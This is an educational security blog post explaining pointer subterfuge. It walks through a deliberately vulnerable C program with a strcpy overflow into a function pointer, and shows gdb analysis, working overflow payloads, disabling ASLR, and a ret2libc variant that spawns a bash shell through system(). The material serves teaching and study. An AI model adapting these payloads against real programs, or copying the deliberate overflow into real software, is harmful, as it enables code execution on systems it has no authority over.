Pointer Subterfuge – Postmortem?   Leave a comment

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: February 01, 2012
      # Category: Exploiting, Programming, Security

    As I said in my two last posts…

    I would be writing 3 quick and quite straightforward posts this week.
    All (partially) inspired by this video: http://www.youtube.com/watch?v=i2fhNVQPb5I (I am a C Programmer) and regarding to stack overflows.

    – 1) Signedness bug
    – 2) Widthness overflow
    – 3) Pointer Subterfuge

    Nothing new I suppose, however, as usual I look forward to demystifying them completely. Therefore, any doubts in any of these bugs, please feel free to comment, elaborate my explation or even curse me by my mistakes.
    All codes will be compiled using 32bits, just because I think it is easier to understand and be tested using VMs.

    Consequently, here is the third post.

    3) Pointer Subterfuge

    Overview
    – Pointer Subterfuge is a bit different from the other 2 posts. It is not actually a vulnerability as it is an exploitation “technique”. We usually call as pointer subterfuge when an attacker is overwriting a function pointer instead of a return address and, somehow, manages to get this function pointer called/executed.
    Let me show you some code:

    waKKu@0xcd80: Vulns$ cat ptrsub.c 
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    struct core {
        char buffer[100];
        unsigned int cookie;
        int (*funcptr)(void);
    };
    
    int heaven(void) {
        printf("Heaven function called.\n");
        return(69);
    }
    
    int hell(void) {
        printf("Here comes the HELL!!!\n");
        return(666);
    }
    
    void juicy(char *buf) {
        struct core hadouken;
    
        hadouken.funcptr = heaven;
        hadouken.cookie = 0xdeadbeef;
    
        strcpy(hadouken.buffer, buf);
    
        if (hadouken.cookie == 0xdeadbeef)
            hadouken.funcptr();
        else
            printf("Nice try...\n");
    }
    
    int main(int argc, char **argv) {
    
        if (argc < 2) {
            printf("Usage: %s <text>\n", argv[0]);
            return(1);
        }
    
        juicy(argv[1]);
    
        return(0);
    }
    waKKu@0xcd80: Vulns$ gcc -m32 -fstack-protector-all -z noexecstack -o ptrsub ptrsub.c -Wall -Wextra
    waKKu@0xcd80: Vulns$ ./ptrsub
    Usage: ./ptrsub <text>
    

    (Firstly, sorry about this crappy code. I am not feeling any creative today…)

    Well, you may be wondering why the hell did I use a struct there? My gcc is newer and smart enough to protect pointer when being used as normal variables inside the code. Gcc does it ensuring that the memory layout will not allow a buffer overflow to compromise a pointer, in other words, it makes sure that the buffer is always higher address than the pointer. Hence, no matter how many bytes I can overwrite after the buffer, it will not overwrite the pointer (but it can overwrite the return address. This is another story, the stack-smash-protector/canary should take care of the retaddr).

    Ok, let’s take a deeper look at ptrsub program.

    waKKu@0xcd80: Vulns$ ./ptrsub hadouken
    Heaven function called.
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "A"x100')
    Nice try...
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "A"x104')
    Nice try...
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "A"x108')
    Nice try...
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "A"x109')
    Nice try...
    *** stack smashing detected ***: ./ptrsub terminated
    ======= Backtrace: =========
    /lib/libc.so.6(__fortify_fail+0x45)[0x509fd5]
    /lib/libc.so.6(+0xf1f87)[0x509f87]
    ./ptrsub[0x8048546]
    ./ptrsub[0x80485a1]
    /lib/libc.so.6(__libc_start_main+0xf3)[0x4313f3]
    ./ptrsub[0x80483e1]
    ======= Memory map: ========
    00418000-0059c000 r-xp 00000000 08:02 8001                               /lib/libc-2.14.1.so
    0059c000-0059d000 ---p 00184000 08:02 8001                               /lib/libc-2.14.1.so
    0059d000-0059f000 r--p 00184000 08:02 8001                               /lib/libc-2.14.1.so
    0059f000-005a0000 rw-p 00186000 08:02 8001                               /lib/libc-2.14.1.so
    005a0000-005a3000 rw-p 00000000 00:00 0 
    008b0000-008ce000 r-xp 00000000 08:02 7994                               /lib/ld-2.14.1.so
    008ce000-008cf000 r--p 0001d000 08:02 7994                               /lib/ld-2.14.1.so
    008cf000-008d0000 rw-p 0001e000 08:02 7994                               /lib/ld-2.14.1.so
    00c40000-00c5c000 r-xp 00000000 08:02 5512                               /lib/libgcc_s-4.6.1-20110908.so.1
    00c5c000-00c5d000 rw-p 0001b000 08:02 5512                               /lib/libgcc_s-4.6.1-20110908.so.1
    00f7e000-00f7f000 r-xp 00000000 00:00 0                                  [vdso]
    08048000-08049000 r-xp 00000000 08:04 15586                              /data/research/0xcd80/posts/Vulns/ptrsub
    08049000-0804a000 rw-p 00000000 08:04 15586                              /data/research/0xcd80/posts/Vulns/ptrsub
    08ab6000-08ad7000 rw-p 00000000 00:00 0                                  [heap]
    f77b3000-f77b4000 rw-p 00000000 00:00 0 
    f77cb000-f77ce000 rw-p 00000000 00:00 0 
    fff42000-fff63000 rw-p 00000000 00:00 0                                  [stack]
    Aborted
    

    That shows that our code is working properly (less than 100 bytes the “heaven()” function is called, more than 100 breaks our cookie value and the program exits without calling heaven() or hell()). It also shows that stack-protector is working, here is our memory layout:
    [100_BYTES_BUFFER][COOKIE][FUNCPTR][CANARY][EBP][RET]

    That “cookie” is a ridiculous idea, I’ve just inserted that to avoid calling the function every time and so we have something to play with inside our payload.

    If we imagine that the hell() function is our target, let’s write an exploit to this using pointer subterfuge technique:

    Our steps shoud be:
    – Find the cookie value (piece of cake)
    – Find hell()’s function address (duh)
    – Send our buffer with [100 bytes junk][cookie value][hell()’s address]

    waKKu@0xcd80: Vulns$ gdb -q ./ptrsub
    Reading symbols from /data/research/0xcd80/posts/Vulns/ptrsub...(no debugging symbols found)...done.
    (gdb) disass juicy
    Dump of assembler code for function juicy:
       0x080484de <+0>: push   %ebp
       0x080484df <+1>: mov    %esp,%ebp
       0x080484e1 <+3>: sub    $0x98,%esp
       0x080484e7 <+9>: mov    0x8(%ebp),%eax
       0x080484ea <+12>:    mov    %eax,-0x7c(%ebp)
       0x080484ed <+15>:    mov    %gs:0x14,%eax
       0x080484f3 <+21>:    mov    %eax,-0xc(%ebp)
       0x080484f6 <+24>:    xor    %eax,%eax
       0x080484f8 <+26>:    movl   $0x8048474,-0x10(%ebp)
       0x080484ff <+33>:    movl   $0xdeadbeef,-0x14(%ebp)
       0x08048506 <+40>:    mov    -0x7c(%ebp),%eax
       0x08048509 <+43>:    mov    %eax,0x4(%esp)
       0x0804850d <+47>:    lea    -0x78(%ebp),%eax
       0x08048510 <+50>:    mov    %eax,(%esp)
       0x08048513 <+53>:    call   0x8048378 <strcpy@plt>
       0x08048518 <+58>:    mov    -0x14(%ebp),%eax
       0x0804851b <+61>:    cmp    $0xdeadbeef,%eax
       0x08048520 <+66>:    jne    0x8048529 <juicy+75>
       0x08048522 <+68>:    mov    -0x10(%ebp),%eax
       0x08048525 <+71>:    call   *%eax
       0x08048527 <+73>:    jmp    0x8048535 <juicy+87>
       0x08048529 <+75>:    movl   $0x80486c3,(%esp)
       0x08048530 <+82>:    call   0x80483a8 <puts@plt>
       0x08048535 <+87>:    mov    -0xc(%ebp),%eax
       0x08048538 <+90>:    xor    %gs:0x14,%eax
       0x0804853f <+97>:    je     0x8048546 <juicy+104>
       0x08048541 <+99>:    call   0x8048398 <__stack_chk_fail@plt>
       0x08048546 <+104>:   leave  
       0x08048547 <+105>:   ret    
    End of assembler dump.
    (gdb) # 1) Cookie value => 0x080484ff <+33>:movl   $0xdeadbeef,-0x14(%ebp) => 0xdeadbeef
    (gdb) p hell
    $1 = {<text variable, no debug info>} 0x80484a9 <hell>
    (gdb) # 2) Hell()'s function address => 0x080484a9
    (gdb) r $(perl -e 'print "A"x100 . "\xef\xbe\xad\xde" . "\xa9\x84\x04\x08"')
    Starting program: /data/research/0xcd80/posts/Vulns/ptrsub $(perl -e 'print "A"x100 . "\xef\xbe\xad\xde" . "\xa9\x84\x04\x08"')
    Here comes the HELL!!!
    [Inferior 1 (process 6627) exited normally]
    Missing separate debuginfos, use: debuginfo-install glibc-2.14.1-5.i686
    (gdb) quit
    

    As I said, pretty dull straightforward. We manage to exploit a stack buffer overflow protected by a canary/ssp using pointer subterfuge technique.
    Of course, if you want to exploit it to get a shell is a bit harder once I have compiled it with “-z noexecstack” and my system is using ASLR.

    In an attempt to make it interesting, let’s exploit it with “pointer subterfuge + ret2libc” and without ASLR (lazyness, remember?):

    waKKu@0xcd80: Vulns$ echo $0
    bash
    waKKu@0xcd80: Vulns$ su -c 'echo 0 > /proc/sys/kernel/randomize_va_space' -
    Password: 
    waKKu@0xcd80: Vulns$ gdb -q ./ptrsub
    Reading symbols from /data/research/0xcd80/posts/Vulns/ptrsub...(no debugging symbols found)...done.
    (gdb) break main
    Breakpoint 1 at 0x804854b
    (gdb) r
    Starting program: /data/research/0xcd80/posts/Vulns/ptrsub 
    
    Breakpoint 1, 0x0804854b in main ()
    Missing separate debuginfos, use: debuginfo-install glibc-2.14.1-5.i686
    (gdb) p system
    $1 = {<text variable, no debug info>} 0x16dd10 <system>
    (gdb) quit
    A debugging session is active.
    
        Inferior 1 [process 6787] will be killed.
    
    Quit anyway? (y or n) y
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "A"x100 . "\xef\xbe\xad\xde" . "\x10\xdd\x16\x00"')
    sh: $'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\357\276\255\336\020\335\026': command not found
    waKKu@0xcd80: Vulns$ # COOL, but i am too lazy
    waKKu@0xcd80: Vulns$ ln -s /bin/bash hadouken
    waKKu@0xcd80: Vulns$ export PATH=.:$PATH
    waKKu@0xcd80: Vulns$ ./ptrsub $(perl -e 'print "hadouken;#" . "A"x90 . "\xef\xbe\xad\xde" . "\x10\xdd\x16\x00"')
    $ echo $0
    hadouken
    $
    

    For those concerned about the trailing NULL BYTE, it is the last byte, therefore, it does not matter at all.
    Feel free to write some ninja ROP exploit bypassing ASLR + Non-eXec Stack ;).

    Conclusion
    Sorry for the bad mood, and:

    – Pointer subterfuge can be used to bypass SSP/Canary protections
    – The program needs to make use of function pointers, you can’t just insert it.
    – Nowadays GCC has a pretty smart memory layout to avoid this technique.

    That’s all, folks!

    –waKKu

    Advertisements

    Posted February 1, 2012 by waKKu in Exploiting, Programming, Security

    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s

    %d bloggers like this: